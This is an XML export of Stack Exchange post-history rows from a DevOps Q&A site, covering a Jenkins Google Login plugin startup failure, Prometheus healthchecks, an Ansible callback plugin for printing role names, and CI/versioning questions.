  <row Id="21902" PostHistoryTypeId="3" PostId="6896" RevisionGUID="b44e6316-fc03-432a-98b3-27e76e1a83eb" CreationDate="2019-04-18T08:43:36.683" UserId="13542" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21903" PostHistoryTypeId="5" PostId="6896" RevisionGUID="5f4a6740-e860-43de-8ab7-39b97068f252" CreationDate="2019-04-18T08:55:50.270" UserId="13542" Comment="added 222 characters in body" Text="I got this error after I restart my jenkins, can anyone suggest me how to solve it ?&#xD;&#xA;&#xD;&#xA;The thing is :&#xD;&#xA;&#xD;&#xA;-I already make sure that in plugins directory I had the google-login plugin enabled&#xD;&#xA;-I didn't change anything on the plugins, just straight restart&#xD;&#xA;-It's been so long since I restart my jenkins&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    hudson.util.HudsonFailedToLoad: org.jvnet.hudson.reactor.ReactorException: java.io.IOException: Unable to read /var/lib/jenkins/config.xml&#xD;&#xA;        at hudson.WebAppMain$3.run(WebAppMain.java:248)&#xD;&#xA;    Caused by: org.jvnet.hudson.reactor.ReactorException: java.io.IOException: Unable to read /var/lib/jenkins/config.xml&#xD;&#xA;        at org.jvnet.hudson.reactor.Reactor.execute(Reactor.java:269)&#xD;&#xA;        at jenkins.InitReactorRunner.run(InitReactorRunner.java:47)&#xD;&#xA;        at jenkins.model.Jenkins.executeReactor(Jenkins.java:1110)&#xD;&#xA;        at jenkins.model.Jenkins.&lt;init&gt;(Jenkins.java:926)&#xD;&#xA;        at hudson.model.Hudson.&lt;init&gt;(Hudson.java:85)&#xD;&#xA;        at hudson.model.Hudson.&lt;init&gt;(Hudson.java:81)&#xD;&#xA;        at hudson.WebAppMain$3.run(WebAppMain.java:231)&#xD;&#xA;    Caused by: java.io.IOException: Unable to read /var/lib/jenkins/config.xml&#xD;&#xA;        at hudson.XmlFile.unmarshal(XmlFile.java:161)&#xD;&#xA;        at jenkins.model.Jenkins.loadConfig(Jenkins.java:3015)&#xD;&#xA;        at jenkins.model.Jenkins.access$1100(Jenkins.java:326)&#xD;&#xA;        at jenkins.model.Jenkins$16.run(Jenkins.java:3033)&#xD;&#xA;        at org.jvnet.hudson.reactor.TaskGraphBuilder$TaskImpl.run(TaskGraphBuilder.java:169)&#xD;&#xA;        at org.jvnet.hudson.reactor.Reactor.runTask(Reactor.java:282)&#xD;&#xA;        at jenkins.model.Jenkins$7.runTask(Jenkins.java:1086)&#xD;&#xA;        at org.jvnet.hudson.reactor.Reactor$2.run(Reactor.java:210)&#xD;&#xA;        at org.jvnet.hudson.reactor.Reactor$Node.run(Reactor.java:117)&#xD;&#xA;        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152)&#xD;&#xA;        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622)&#xD;&#xA;        at java.lang.Thread.run(Thread.java:748)&#xD;&#xA;    Caused by: jenkins.util.xstream.CriticalXStreamException: org.jenkinsci.plugins.googlelogin.GoogleOAuth2SecurityRealm : org.jenkinsci.plugins.googlelogin.GoogleOAuth2SecurityRealm&#xD;&#xA;    ---- Debugging information ----&#xD;&#xA;    message             : org.jenkinsci.plugins.googlelogin.GoogleOAuth2SecurityRealm&#xD;&#xA;    cause-exception     : com.thoughtworks.xstream.mapper.CannotResolveClassException&#xD;&#xA;    cause-message       : org.jenkinsci.plugins.googlelogin.GoogleOAuth2SecurityRealm&#xD;&#xA;    class               : hudson.model.Hudson&#xD;&#xA;    required-type       : hudson.model.Hudson&#xD;&#xA;    converter-type      : hudson.util.RobustReflectionConverter&#xD;&#xA;    path                : /hudson/securityRealm&#xD;&#xA;    line number         : 485&#xD;&#xA;    version             : not available&#xD;&#xA;    -------------------------------&#xD;&#xA;        at hudson.util.RobustReflectionConverter.doUnmarshal(RobustReflectionConverter.java:356)&#xD;&#xA;        at hudson.util.RobustReflectionConverter.unmarshal(RobustReflectionConverter.java:270)&#xD;&#xA;        at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)&#xD;&#xA;        at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:65)&#xD;&#xA;        at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)&#xD;&#xA;        at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)&#xD;&#xA;        at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)&#xD;&#xA;        at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)&#xD;&#xA;        at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1189)&#xD;&#xA;        at hudson.util.XStream2.unmarshal(XStream2.java:114)&#xD;&#xA;        at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1173)&#xD;&#xA;        at hudson.XmlFile.unmarshal(XmlFile.java:159)&#xD;&#xA;        ... 11 more&#xD;&#xA;    Caused by: com.thoughtworks.xstream.mapper.CannotResolveClassException: org.jenkinsci.plugins.googlelogin.GoogleOAuth2SecurityRealm&#xD;&#xA;        at com.thoughtworks.xstream.mapper.DefaultMapper.realClass(DefaultMapper.java:79)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.DynamicProxyMapper.realClass(DynamicProxyMapper.java:55)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.PackageAliasingMapper.realClass(PackageAliasingMapper.java:88)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.ClassAliasingMapper.realClass(ClassAliasingMapper.java:79)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.ArrayMapper.realClass(ArrayMapper.java:74)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.SecurityMapper.realClass(SecurityMapper.java:71)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at hudson.util.XStream2$CompatibilityMapper.realClass(XStream2.java:282)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at hudson.util.xstream.MapperDelegate.realClass(MapperDelegate.java:43)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.CachingMapper.realClass(CachingMapper.java:48)&#xD;&#xA;        at hudson.util.RobustReflectionConverter.determineType(RobustReflectionConverter.java:461)&#xD;&#xA;        at hudson.util.RobustReflectionConverter.doUnmarshal(RobustReflectionConverter.java:327)&#xD;&#xA;        ... 22 more&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21904" PostHistoryTypeId="5" PostId="6896" RevisionGUID="b67144b8-2867-45e8-bf01-93917d1370c3" CreationDate="2019-04-18T09:03:08.527" UserId="13542" Comment="added 80 characters in body" Text="Jenkins version : Jenkins ver. 2.32.1&#xD;&#xA;Google Login Plugin version : 1.3&#xD;&#xA;&#xD;&#xA;I got this error after I restart my jenkins, can anyone suggest me how to solve it ?&#xD;&#xA;&#xD;&#xA;The thing is :&#xD;&#xA;&#xD;&#xA;-I already make sure that in plugins directory I had the google-login plugin enabled&#xD;&#xA;&#xD;&#xA;-I didn't change anything on the plugins, just straight restart&#xD;&#xA;&#xD;&#xA;-It's been so long since I restart my jenkins&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    hudson.util.HudsonFailedToLoad: org.jvnet.hudson.reactor.ReactorException: java.io.IOException: Unable to read /var/lib/jenkins/config.xml&#xD;&#xA;        at hudson.WebAppMain$3.run(WebAppMain.java:248)&#xD;&#xA;    Caused by: org.jvnet.hudson.reactor.ReactorException: java.io.IOException: Unable to read /var/lib/jenkins/config.xml&#xD;&#xA;        at org.jvnet.hudson.reactor.Reactor.execute(Reactor.java:269)&#xD;&#xA;        at jenkins.InitReactorRunner.run(InitReactorRunner.java:47)&#xD;&#xA;        at jenkins.model.Jenkins.executeReactor(Jenkins.java:1110)&#xD;&#xA;        at jenkins.model.Jenkins.&lt;init&gt;(Jenkins.java:926)&#xD;&#xA;        at hudson.model.Hudson.&lt;init&gt;(Hudson.java:85)&#xD;&#xA;        at hudson.model.Hudson.&lt;init&gt;(Hudson.java:81)&#xD;&#xA;        at hudson.WebAppMain$3.run(WebAppMain.java:231)&#xD;&#xA;    Caused by: java.io.IOException: Unable to read /var/lib/jenkins/config.xml&#xD;&#xA;        at hudson.XmlFile.unmarshal(XmlFile.java:161)&#xD;&#xA;        at jenkins.model.Jenkins.loadConfig(Jenkins.java:3015)&#xD;&#xA;        at jenkins.model.Jenkins.access$1100(Jenkins.java:326)&#xD;&#xA;        at jenkins.model.Jenkins$16.run(Jenkins.java:3033)&#xD;&#xA;        at org.jvnet.hudson.reactor.TaskGraphBuilder$TaskImpl.run(TaskGraphBuilder.java:169)&#xD;&#xA;        at org.jvnet.hudson.reactor.Reactor.runTask(Reactor.java:282)&#xD;&#xA;        at jenkins.model.Jenkins$7.runTask(Jenkins.java:1086)&#xD;&#xA;        at org.jvnet.hudson.reactor.Reactor$2.run(Reactor.java:210)&#xD;&#xA;        at org.jvnet.hudson.reactor.Reactor$Node.run(Reactor.java:117)&#xD;&#xA;        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1152)&#xD;&#xA;        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:622)&#xD;&#xA;        at java.lang.Thread.run(Thread.java:748)&#xD;&#xA;    Caused by: jenkins.util.xstream.CriticalXStreamException: org.jenkinsci.plugins.googlelogin.GoogleOAuth2SecurityRealm : org.jenkinsci.plugins.googlelogin.GoogleOAuth2SecurityRealm&#xD;&#xA;    ---- Debugging information ----&#xD;&#xA;    message             : org.jenkinsci.plugins.googlelogin.GoogleOAuth2SecurityRealm&#xD;&#xA;    cause-exception     : com.thoughtworks.xstream.mapper.CannotResolveClassException&#xD;&#xA;    cause-message       : org.jenkinsci.plugins.googlelogin.GoogleOAuth2SecurityRealm&#xD;&#xA;    class               : hudson.model.Hudson&#xD;&#xA;    required-type       : hudson.model.Hudson&#xD;&#xA;    converter-type      : hudson.util.RobustReflectionConverter&#xD;&#xA;    path                : /hudson/securityRealm&#xD;&#xA;    line number         : 485&#xD;&#xA;    version             : not available&#xD;&#xA;    -------------------------------&#xD;&#xA;        at hudson.util.RobustReflectionConverter.doUnmarshal(RobustReflectionConverter.java:356)&#xD;&#xA;        at hudson.util.RobustReflectionConverter.unmarshal(RobustReflectionConverter.java:270)&#xD;&#xA;        at com.thoughtworks.xstream.core.TreeUnmarshaller.convert(TreeUnmarshaller.java:72)&#xD;&#xA;        at com.thoughtworks.xstream.core.AbstractReferenceUnmarshaller.convert(AbstractReferenceUnmarshaller.java:65)&#xD;&#xA;        at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:66)&#xD;&#xA;        at com.thoughtworks.xstream.core.TreeUnmarshaller.convertAnother(TreeUnmarshaller.java:50)&#xD;&#xA;        at com.thoughtworks.xstream.core.TreeUnmarshaller.start(TreeUnmarshaller.java:134)&#xD;&#xA;        at com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy.unmarshal(AbstractTreeMarshallingStrategy.java:32)&#xD;&#xA;        at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1189)&#xD;&#xA;        at hudson.util.XStream2.unmarshal(XStream2.java:114)&#xD;&#xA;        at com.thoughtworks.xstream.XStream.unmarshal(XStream.java:1173)&#xD;&#xA;        at hudson.XmlFile.unmarshal(XmlFile.java:159)&#xD;&#xA;        ... 11 more&#xD;&#xA;    Caused by: com.thoughtworks.xstream.mapper.CannotResolveClassException: org.jenkinsci.plugins.googlelogin.GoogleOAuth2SecurityRealm&#xD;&#xA;        at com.thoughtworks.xstream.mapper.DefaultMapper.realClass(DefaultMapper.java:79)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.DynamicProxyMapper.realClass(DynamicProxyMapper.java:55)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.PackageAliasingMapper.realClass(PackageAliasingMapper.java:88)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.ClassAliasingMapper.realClass(ClassAliasingMapper.java:79)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.ArrayMapper.realClass(ArrayMapper.java:74)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.SecurityMapper.realClass(SecurityMapper.java:71)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at hudson.util.XStream2$CompatibilityMapper.realClass(XStream2.java:282)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at hudson.util.xstream.MapperDelegate.realClass(MapperDelegate.java:43)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.MapperWrapper.realClass(MapperWrapper.java:30)&#xD;&#xA;        at com.thoughtworks.xstream.mapper.CachingMapper.realClass(CachingMapper.java:48)&#xD;&#xA;        at hudson.util.RobustReflectionConverter.determineType(RobustReflectionConverter.java:461)&#xD;&#xA;        at hudson.util.RobustReflectionConverter.doUnmarshal(RobustReflectionConverter.java:327)&#xD;&#xA;        ... 22 more&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21905" PostHistoryTypeId="5" PostId="6001" RevisionGUID="734f6e3f-e5c7-47e4-9d17-1412a51c5d29" CreationDate="2019-04-18T09:58:16.753" UserId="1180" Comment="broken link fixed" Text="I'm getting started with Prometheus (Prometheus Operator), and I'm looking at adding it to an existing cluster, where each container has a `/healthcheck` endpoint, that is going to either return true, or an error. &#xD;&#xA;&#xD;&#xA;I'm currently playing around with the [kube-prometheus instructions here][1] in a sandbox cluster, and that basic setup is working, whereby I can monitor Memory/CPU/NetworkIO on each of my pods. &#xD;&#xA;&#xD;&#xA;As a starting point, I want to: &#xD;&#xA;&#xD;&#xA;- Add a generic rule that adds `/healthcheck` as a Prometheus target. &#xD;&#xA;- Create a dashboard in Grafana that displays a grid of red/green panels for each pod. &#xD;&#xA;&#xD;&#xA;How do I go about setting up the `/healthcheck` endpoint as a target? I've looked at the the out of the box [prometheus-rules.yaml][2] but I can't really make sense of it. &#xD;&#xA;&#xD;&#xA;In terms of what I'm looking for in an answer here, is a series of high level step by step instructions, with links to documentation or concepts that are relevant. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/coreos/prometheus-operator/tree/master/contrib/kube-prometheus&#xD;&#xA;  [2]: https://github.com/coreos/prometheus-operator/blob/master/contrib/kube-prometheus/manifests/prometheus-rules.yaml" ContentLicense="CC BY-SA 4.0" />
  <row Id="21906" PostHistoryTypeId="24" PostId="6001" RevisionGUID="734f6e3f-e5c7-47e4-9d17-1412a51c5d29" CreationDate="2019-04-18T09:58:16.753" Comment="Proposed by 1180 approved by -1 edit id of 986" ContentLicense="CC BY-SA 4.0" />
  <row Id="21907" PostHistoryTypeId="5" PostId="6001" RevisionGUID="30d5774f-0f1c-4185-a5c1-60c77e18fee8" CreationDate="2019-04-18T09:58:16.753" UserId="40" Comment="deleted 5 characters in body" Text="I'm getting started with Prometheus (Prometheus Operator), and I'm looking at adding it to an existing cluster, where each container has a `/healthcheck` endpoint, that is going to either return true, or an error. &#xD;&#xA;&#xD;&#xA;I'm currently playing around with the [kube-prometheus instructions][1] in a sandbox cluster, and that basic setup is working, whereby I can monitor Memory/CPU/NetworkIO on each of my pods. &#xD;&#xA;&#xD;&#xA;As a starting point, I want to: &#xD;&#xA;&#xD;&#xA;- Add a generic rule that adds `/healthcheck` as a Prometheus target. &#xD;&#xA;- Create a dashboard in Grafana that displays a grid of red/green panels for each pod. &#xD;&#xA;&#xD;&#xA;How do I go about setting up the `/healthcheck` endpoint as a target? I've looked at the the out of the box [prometheus-rules.yaml][2] but I can't really make sense of it. &#xD;&#xA;&#xD;&#xA;In terms of what I'm looking for in an answer here, is a series of high level step by step instructions, with links to documentation or concepts that are relevant. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/coreos/prometheus-operator/tree/master/contrib/kube-prometheus&#xD;&#xA;  [2]: https://github.com/coreos/prometheus-operator/blob/master/contrib/kube-prometheus/manifests/prometheus-rules.yaml" ContentLicense="CC BY-SA 4.0" />
  <row Id="21908" PostHistoryTypeId="2" PostId="6897" RevisionGUID="f7e59f5c-ba2f-4f49-918f-4f6a11a5d6e8" CreationDate="2019-04-18T11:24:59.203" UserId="47" Text="Generally yes - all of them are large ecosystems of related software products working together to implement &quot;clouds&quot;.&#xD;&#xA;&#xD;&#xA;There won't be an exact 1:1 mapping for each and every one of their individual products, features and APIs, so don't expect that. But there is a quite significant overlap in capabilities and functionality in general. Just like with the public cloud providers: they're similar to each-other, but not exactly 1:1 compatible.&#xD;&#xA;&#xD;&#xA;You (and your customers) will have to learn the specifics of using the desired cloud products in the ecosystem, just like with the other cloud infra providers.&#xD;&#xA;&#xD;&#xA;But you'll also need to learn how to install, maintain and operate the infrastructure in general as well as the individual products you're gonna offer, which is something users of the public cloud providers don't need to worry about." ContentLicense="CC BY-SA 4.0" />
  <row Id="21909" PostHistoryTypeId="6" PostId="6895" RevisionGUID="eb5e4c03-b57a-4862-bed1-1855aff4b174" CreationDate="2019-04-18T11:25:13.990" UserId="47" Comment="edited tags" Text="&lt;cloud&gt;&lt;openstack&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21912" PostHistoryTypeId="2" PostId="6899" RevisionGUID="1e3a7253-887e-4520-b5d4-a48309e65dc1" CreationDate="2019-04-18T18:36:38.960" UserId="13217" Text="I figured this would be trivial, but can't find the answer anywhere.&#xD;&#xA;&#xD;&#xA;Let's say I have a playbook.yml that looks like:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- hosts: all&#xD;&#xA;&#xD;&#xA;  tasks:&#xD;&#xA;  - name: I'm a block!&#xD;&#xA;    block:&#xD;&#xA;    - name: I'm a role!&#xD;&#xA;      include_role: name=some_role&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;And then I have a main.yml in roles/some_role/tasks that looks like:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;- name: I'm a task!&#xD;&#xA;  git: repo=https://doesnexist.com/nope.git dest={{ install_path }}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;What I would expect / like to be printed is:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;BLOCK [I'm a block!] *********&#xD;&#xA;ROLE [I'm a role!] *********&#xD;&#xA;TASK [some_role : I'm a task!] *********&#xD;&#xA;ok: [MACHINE]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Or something like that. Instead, what gets printed is:&#xD;&#xA;```&#xD;&#xA;TASK [some_role : I'm a task!] *********&#xD;&#xA;ok: [MACHINE]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So why did I bother putting those names on the block and include_role? Is there any way to get what I want, or at least something close to it? The debug module doesn't do what I want, since it is very poorly formatted.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21913" PostHistoryTypeId="1" PostId="6899" RevisionGUID="1e3a7253-887e-4520-b5d4-a48309e65dc1" CreationDate="2019-04-18T18:36:38.960" UserId="13217" Text="Get Ansible to print lines for include_role(s)" ContentLicense="CC BY-SA 4.0" />
  <row Id="21914" PostHistoryTypeId="3" PostId="6899" RevisionGUID="1e3a7253-887e-4520-b5d4-a48309e65dc1" CreationDate="2019-04-18T18:36:38.960" UserId="13217" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21918" PostHistoryTypeId="2" PostId="6901" RevisionGUID="f419fff2-87bc-4fcc-843a-cab498c4f60e" CreationDate="2019-04-18T19:28:34.143" UserId="7715" Text="[include_role](https://docs.ansible.com/ansible/latest/modules/include_role_module.html#include-role-load-and-execute-a-role) is a task and the name is printed (see below). [block](https://docs.ansible.com/ansible/latest/user_guide/playbooks_blocks.html#blocks) is not a task and name is not printed by any [plugin](https://docs.ansible.com/ansible/latest/plugins/callback.html#plugin-list).&#xD;&#xA;&#xD;&#xA;The play&#xD;&#xA;&#xD;&#xA;    tasks:&#xD;&#xA;      - name: &quot;I'm a block!&quot;&#xD;&#xA;        block:&#xD;&#xA;          - name: &quot;I'm a role!&quot;&#xD;&#xA;            include_role: name=role5&#xD;&#xA;&#xD;&#xA;gives:&#xD;&#xA;&#xD;&#xA;    PLAY [localhost]&#xD;&#xA;    TASK [I'm a role!]&#xD;&#xA;    TASK [role5 : I'm a task!]&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21919" PostHistoryTypeId="2" PostId="6902" RevisionGUID="64523378-d78c-4e2b-add4-bb34cbeefced" CreationDate="2019-04-18T19:30:46.877" UserId="9148" Text="You could use Jenkins along with Gitlab for your CI. Both are free. As far as the Qt project goes, you could use the `sh` or `bat` steps to run qmake, or cmake for that matter, from within the build job.&#xD;&#xA;&#xD;&#xA;There are also a lot of plugins to extend Jenkins and integrate it with Gitlab. This includes plugins that allow you to trigger builds when pushing to a particular branch or even generating the build badge you'd like to have. See: [Embeddable Build Status Plugin][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Embeddable+Build+Status+Plugin" ContentLicense="CC BY-SA 4.0" />
  <row Id="21920" PostHistoryTypeId="2" PostId="6903" RevisionGUID="ee4438d4-ca4f-4c73-ab2d-d72d13fe74c6" CreationDate="2019-04-18T23:02:20.887" UserId="11197" Text="I am going to suggest an approach that I would not necessarily recommend, because I do not consider it a manageable, scalable solution:&#xD;&#xA;&#xD;&#xA;SSH port forwarding.&#xD;&#xA;&#xD;&#xA;SSH is a Swiss Army knife in terms of its features. Virtually any port can be securely forwarded to any other port on a remote machine, and indeed through a remote machine to a target machine beyond.  Documentation abounds, but I really like the drawings [in this answer](https://unix.stackexchange.com/a/115906). I use ssh across [bastion hosts](https://en.wikipedia.org/wiki/Bastion_host) regularly in a manner that mirrors the diagrams at the link.&#xD;&#xA;&#xD;&#xA;As I said, I don't think this is a good solution, but it might serve to give you some ideas and it could be one component of a larger solution.&#xD;&#xA;&#xD;&#xA;Good luck!" ContentLicense="CC BY-SA 4.0" />
  <row Id="21921" PostHistoryTypeId="2" PostId="6904" RevisionGUID="b8b2e8d0-d775-46a8-a742-0346213f2245" CreationDate="2019-04-18T23:23:31.143" UserId="11197" Text="Another idea: [ZeroTier](https://www.zerotier.com). &#xD;&#xA;&#xD;&#xA;I have not used it, but a fellow DevOps nerd recommends it.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21922" PostHistoryTypeId="2" PostId="6905" RevisionGUID="e0ad50b9-0c7e-454d-9a09-1d533e99697c" CreationDate="2019-04-19T02:33:04.040" UserId="13217" Text="I was able to create a custom callback plugin. I started with the default callback code and modified it:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    def v2_playbook_on_task_start(self, task, is_conditional):&#xD;&#xA;    &#xD;&#xA;    	if(task._role is not None and task._role != self._current_role):&#xD;&#xA;    		self._current_role = task._role&#xD;&#xA;    		self._display.banner(&quot;ROLE [&quot; + self._current_role.get_name() + &quot;]&quot;, color=C.COLOR_DEBUG)&#xD;&#xA;    		&#xD;&#xA;    	self._task_start(task, prefix='TASK')&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now the output looks like:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;ROLE [some_role] *****************************************************&#xD;&#xA;&#xD;&#xA;TASK [some_role : I'm a task!] ***************************************&#xD;&#xA;ok: [MACHINE]&#xD;&#xA;&#xD;&#xA;TASK [some_role : Some other task!] **********************************&#xD;&#xA;ok: [MACHINE]&#xD;&#xA;&#xD;&#xA;ROLE [another_role] **************************************************&#xD;&#xA;&#xD;&#xA;TASK [some_role : I'm a task!] ***************************************&#xD;&#xA;ok: [MACHINE]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;With the role line being bolded. It's a work in progress, but it at least makes it a lot more obvious where roles are being executed. My determination on `block` is that it is impossible to do what I wanted, due to the way the block class is implemented in Ansible." ContentLicense="CC BY-SA 4.0" />
  <row Id="21931" PostHistoryTypeId="2" PostId="6908" RevisionGUID="f04be17a-78c4-45b6-b62b-7b2836538045" CreationDate="2019-04-19T09:54:21.617" UserId="13566" Text="I have a SOA-application. Each service is a separate project in Gitlab with its own Dockerfile. So, in terms of structure it looks as follows&#xD;&#xA;&#xD;&#xA;    \UserService&#xD;&#xA;        Dockerfile&#xD;&#xA;        \src&#xD;&#xA;&#xD;&#xA;    \OrderService&#xD;&#xA;        Dockerfile&#xD;&#xA;        \src&#xD;&#xA;&#xD;&#xA;There is one developer (or group of developers) responsible for just one Gitlab project (or service as I call it). So, in fact each group technically can tag its project with its own version, so that `UserService` can have version `1.2.3`, while `OrderService` can have version `5.7.8`. It does not look good, because both services are part of one SOA-application. &#xD;&#xA;&#xD;&#xA;So, in terms of DevOps I need know what is the best practice for versioning SOA-application containing physically separate services with their own code base?&#xD;&#xA;&#xD;&#xA;My another question is about Docker. We are using docker for packing services. I know, that we can tag Docker images also with version number. In terms of best practices should this image version have something to do with versions of the source code of each single service?&#xD;&#xA;&#xD;&#xA;Besides, I do not know what should we treat as a release and its version. I guess there will be a build pipeline in Gitlab, which will build multiple Docker images and tag each one with a version. Should we treat the collection of these images as a release or should there be some king of bundle, physical release with again its own version.&#xD;&#xA;&#xD;&#xA;I know there may exist different practices, I want to know some real world approaches.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="21932" PostHistoryTypeId="1" PostId="6908" RevisionGUID="f04be17a-78c4-45b6-b62b-7b2836538045" CreationDate="2019-04-19T09:54:21.617" UserId="13566" Text="Overview of Gitlab CI/CD process for multi-project SOA application. Releasing and Versioning" ContentLicense="CC BY-SA 4.0" />
